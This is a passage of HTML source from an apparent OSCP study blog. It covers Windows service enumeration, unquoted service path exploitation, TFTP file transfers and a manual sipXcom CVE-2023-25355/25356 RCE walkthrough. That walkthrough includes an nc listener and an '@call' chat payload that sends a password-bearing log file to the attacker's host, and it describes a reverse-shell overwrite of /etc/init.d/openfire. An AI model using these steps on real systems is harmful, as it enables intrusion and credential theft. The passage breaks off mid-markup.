class="lnt"&gt;26&#10;&lt;/span&gt;&lt;span class="lnt"&gt;27&#10;&lt;/span&gt;&lt;span class="lnt"&gt;28&#10;&lt;/span&gt;&lt;span class="lnt"&gt;29&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# CMD commands&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sc query # Query basic information for all services&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sc query state=all # Query services in every state&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sc qc &amp;lt;SERVICE_NAME&amp;gt; # Query detailed configuration for a specific service&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sc stop &amp;lt;SERVICE_NAME&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sc start &amp;lt;SERVICE_NAME&amp;gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Identify the service process&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tasklist | findstr GPGService&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Stop it&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;taskkill /F /IM GPGService.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# PowerShell commands&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-Service # View all services&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-Service | Where-Object {$_.Status -eq &amp;#34;Running&amp;#34;} # View running services&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-Service -Name &amp;#34;SERVICE_NAME&amp;#34; # View a specific service&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# List all services and filter key information&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sc query state= all | find /i &amp;#34;SERVICE_NAME&amp;#34; # First obtain all service names&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Then iterate over each service name and query its configuration&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for /f &amp;#34;tokens=4 delims=: &amp;#34; %i in (&amp;#39;sc query state^= all ^| find /i &amp;#34;service_name&amp;#34;&amp;#39;) do @sc qc %i | find /i &amp;#34;BINARY_PATH_NAME&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Or find services running as LocalSystem&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;for /f &amp;#34;tokens=4 delims=: &amp;#34; %i in (&amp;#39;sc query state^= all ^| find /i &amp;#34;service_name&amp;#34;&amp;#39;) do @sc qc %i | find /i &amp;#34;SERVICE_START_NAME&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Get-WmiObject win32_service | Select-Object Name, PathName, StartName&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;sc query type= service | findstr /i &amp;#34;dev&amp;#34;&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="77windows-dllexe-search-order-exploitation"&gt;&lt;a href="#77windows-dllexe-search-order-exploitation" class="header-anchor"&gt;&lt;/a&gt;77.Windows DLL/EXE Search-Order Exploitation&#10;&lt;/h3&gt;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;When a service path contains spaces and is unquoted, Windows searches for executables in this order:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;CopyC:\Skylar.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Skylar\Development.exe # This is why the exploit succeeded!&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Skylark\Development Binaries.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Skylark\Development Binaries 01.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;C:\Skylark\Development Binaries 01\DevService.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;In this case:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The service path is: C:\Skylark\Development Binaries 01\???????.exe&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;When Windows encounters an unresolvable filename (?????), it searches in the order above&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Development.exe was placed in C:\Skylark\&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;This matches the second location in the search order&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Key vulnerability conditions:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The path contains spaces&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;The path is not quoted&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Windows automatically resolves the path&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="78tftp-udp"&gt;&lt;a href="#78tftp-udp" class="header-anchor"&gt;&lt;/a&gt;78.TFTP (UDP)&#10;&lt;/h3&gt;&lt;p&gt;I&amp;rsquo;d used this service on VulnHub before but never took notes. The catch is that there is no command like &lt;code&gt;dir&lt;/code&gt;, so finding files is entirely guesswork.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt;10&#10;&lt;/span&gt;&lt;span class="lnt"&gt;11&#10;&lt;/span&gt;&lt;span class="lnt"&gt;12&#10;&lt;/span&gt;&lt;span class="lnt"&gt;13&#10;&lt;/span&gt;&lt;span class="lnt"&gt;14&#10;&lt;/span&gt;&lt;span class="lnt"&gt;15&#10;&lt;/span&gt;&lt;span class="lnt"&gt;16&#10;&lt;/span&gt;&lt;span class="lnt"&gt;17&#10;&lt;/span&gt;&lt;span class="lnt"&gt;18&#10;&lt;/span&gt;&lt;span class="lnt"&gt;19&#10;&lt;/span&gt;&lt;span class="lnt"&gt;20&#10;&lt;/span&gt;&lt;span class="lnt"&gt;21&#10;&lt;/span&gt;&lt;span class="lnt"&gt;22&#10;&lt;/span&gt;&lt;span class="lnt"&gt;23&#10;&lt;/span&gt;&lt;span class="lnt"&gt;24&#10;&lt;/span&gt;&lt;span class="lnt"&gt;25&#10;&lt;/span&gt;&lt;span class="lnt"&gt;26&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Enter TFTP interactive mode&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tftp 192.168.214.222 69&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# In interactive mode:&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;binary # Set binary transfer mode&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;get file # Download a file&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;put file # Upload a file&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Download a file&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;atftp -g -r filename 192.168.214.222 69&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Upload a file&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;atftp -p -l localfile 192.168.214.222 69&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Download a file&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tftp 192.168.214.222 -c get remotefile.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;# Upload a file&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;tftp 192.168.214.222 -c put localfile.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Configuration file&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;cat /etc/xinetd.d/tftp&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;https://nmap.org/nsedoc/scripts/tftp-enum.html&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nmap -sVU -p69 --script tftp-enum 192.168.214.222&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;/usr/share/metasploit-framework/data/wordlists/tftp.txt&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;h3 id="79coredial-sipxcom-sipxopenfire-cve-2023-25355-cve-2023-25356-rceexp"&gt;&lt;a href="#79coredial-sipxcom-sipxopenfire-cve-2023-25355-cve-2023-25356-rceexp" class="header-anchor"&gt;&lt;/a&gt;79.CoreDial sipXcom sipXopenfire CVE-2023-25355 CVE-2023-25356 RCE/EXP&#10;&lt;/h3&gt;&lt;p&gt;This was a really interesting exploit, but getting it to work was an incredibly rough ride. I barely managed to finish this part with help from Discord and Claude. Maybe it only felt interesting once everything was finally done; while I was learning it, I felt like my brain was turning to mush. I was completely lost during the exploitation process and got stuck here for a day and a half. Every step forced me to stop and think, and nothing worked, over and over again. I didn&amp;rsquo;t yet have a solid grasp of the exploit itself, so every failed reproduction made things worse. Fortunately, I solved it in the end. If everything had gone smoothly, I probably wouldn&amp;rsquo;t remember it this well or understand it this deeply. Searching Google for this application turned up nothing but CVE numbers; hardly anyone seemed to be working on the actual exploit.&lt;/p&gt;&#10;&lt;p&gt;First, the key reference: &lt;a class="link" href="https://sploitus.com/exploit?id=1337DAY-ID-38254" target="_blank" rel="noopener"&#10; &gt;https://sploitus.com/exploit?id=1337DAY-ID-38254&lt;/a&gt;. This is the only blog post I found that explains how the vulnerability works.&lt;/p&gt;&#10;&lt;p&gt;I never found this post through search. I asked around on Discord, but every link people gave me had already been deleted, so the original was gone. This is a backup hosted on another site, and I&amp;rsquo;ve downloaded a local copy. That was one of the wrong turns I took: the Discord links never opened, and at first I assumed that was simply how it was, only to realize later that the pages had been removed.&lt;/p&gt;&#10;&lt;p&gt;That post is the thread running through this entire exploit and contains almost everything you need. If you want to automate the exploitation, you can try &lt;a class="link" href="https://github.com/AlexLinov/sipXcom-RCE" target="_blank" rel="noopener"&#10; &gt;https://github.com/AlexLinov/sipXcom-RCE&lt;/a&gt;.&lt;/p&gt;&#10;&lt;p&gt;I&amp;rsquo;m doing this manually precisely because the automated approach didn&amp;rsquo;t work. Next I&amp;rsquo;ll break down how I reproduced the vulnerability. (Because of the OSCP NDA, a lot of the screenshots will be heavily redacted.)&lt;/p&gt;&#10;&lt;p&gt;First, you need credentials. A low-privileged user is enough; where you get them is up to you.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0003.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0004.zh.gif" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Make sure you can log in. Run Pidgin as a non-root user and specify the target IP and port. This is another key point. I&amp;rsquo;m not sure whether it actually matters, but once I had corrected all of this, the exploit worked.&lt;/p&gt;&#10;&lt;p&gt;Make sure you can log in. Run Pidgin as a non-root user and specify the target IP and port. This is another key point. I&amp;rsquo;m not sure whether it actually matters, but once I had corrected all of this, the exploit worked.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0005.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0006.zh.gif" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0007.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0008.zh.gif" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Log in as the low-privileged user. The blog explains that you can create a user yourself by clicking &lt;code&gt;create this new account on the server&lt;/code&gt;, but I didn&amp;rsquo;t use that option here.&lt;/p&gt;&#10;&lt;p&gt;If you need to go through a proxy, don&amp;rsquo;t add extra configuration; configuring the proxy unnecessarily can actually make it hang. One tip: if Pidgin freezes with no response after you close and reopen it, run &lt;strong&gt;rm -rf ~/.purple/&lt;/strong&gt; to delete its configuration, then open it again.&lt;/p&gt;&#10;&lt;p&gt;If a pop-up appears, click &lt;code&gt;accept&lt;/code&gt;, or you won&amp;rsquo;t be able to proceed. You also have to fill in &lt;code&gt;Domain&lt;/code&gt;, and the corresponding domain and IP must be added to the hosts file; otherwise, the client may not be able to locate the server.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0009.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0010.zh.gif" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;The green indicator is what confirms a successful connection. Anything else means something is wrong with the configuration, possibly including the networking software.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0011.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0012.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Fill this in to add a chat contact. You can even enter your own account; once it&amp;rsquo;s filled in, click &lt;code&gt;add&lt;/code&gt;.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0013.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;If nothing appears after adding it, look at the screenshot above and check every option. Only two were selected by default for me. You need all of them enabled to see every user, including people who haven&amp;rsquo;t accepted the contact request and users who are offline.&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0014.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0015.zh.gif" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;Double-click the icon to open the chat window, then build the payload.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt;1&#10;&lt;/span&gt;&lt;span class="lnt"&gt;2&#10;&lt;/span&gt;&lt;span class="lnt"&gt;3&#10;&lt;/span&gt;&lt;span class="lnt"&gt;4&#10;&lt;/span&gt;&lt;span class="lnt"&gt;5&#10;&lt;/span&gt;&lt;span class="lnt"&gt;6&#10;&lt;/span&gt;&lt;span class="lnt"&gt;7&#10;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&#10;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-text" data-lang="text"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;First, listen on local port 80&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;nc -lvnp 80&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;Enter the following in the chat box&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&#10;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;@call abc -o /tmp/dummy -d @/opt/openfire/logs/sipxopenfire-im.log http://192.168.xx.xx/abc&#10;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/table&gt;&#10;&lt;/div&gt;&#10;&lt;/div&gt;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0016.zh.webp" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;&lt;img src="http://xtpol.com/zh/p/oscp-exploit-notes/image-0017.zh.gif" alt="" loading="lazy" decoding="async"&gt;&#10;&lt;/p&gt;&#10;&lt;p&gt;If everything goes as expected, you&amp;rsquo;ll get the result shown above. The file contains passwords because it stores chat logs, which may hold something useful, such as an administrator password. Just inspect the contents.&lt;/p&gt;&#10;&lt;p&gt;Once you&amp;rsquo;ve found the administrator password, you can build the exploit. The idea is to use an operation that overwrites &lt;code&gt;/etc/init.d/openfire&lt;/code&gt;. When sipXopenfire restarts, it reloads the configuration and invokes the shell script inside it, leading to RCE. One line contains the reverse-shell command; remember to change the IP and port.&lt;/p&gt;&#10;&lt;div class="highlight"&gt;&lt;div class="chroma"&gt;&#10;&lt;table class="lntable"&gt;&lt;tr&gt;&lt;td class="lntd"&gt;&#10;&lt;pre tabindex="0" class="chroma"&gt;&lt;code&gt;&lt;span class="lnt"&gt; 1&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 2&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 3&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 4&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 5&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 6&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 7&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 8&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 9&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 10&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 11&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 12&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 13&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 14&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 15&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 16&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 17&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 18&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 19&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 20&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 21&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 22&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 23&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 24&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 25&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 26&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 27&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 28&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 29&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 30&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 31&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 32&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 33&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 34&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 35&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 36&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 37&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 38&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 39&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 40&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 41&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 42&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 43&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 44&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 45&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 46&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 47&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 48&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 49&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 50&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 51&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 52&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 53&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 54&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 55&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 56&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 57&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 58&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 59&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 60&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 61&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 62&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 63&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 64&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 65&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 66&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 67&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 68&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 69&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 70&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 71&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 72&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 73&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 74&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 75&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 76&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 77&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 78&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 79&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 80&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 81&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 82&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 83&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 84&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 85&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 86&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 87&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 88&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 89&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 90&#10;&lt;/span&gt;&lt;span class="lnt"&gt; 91&#10;&lt;/span&gt;&lt;span 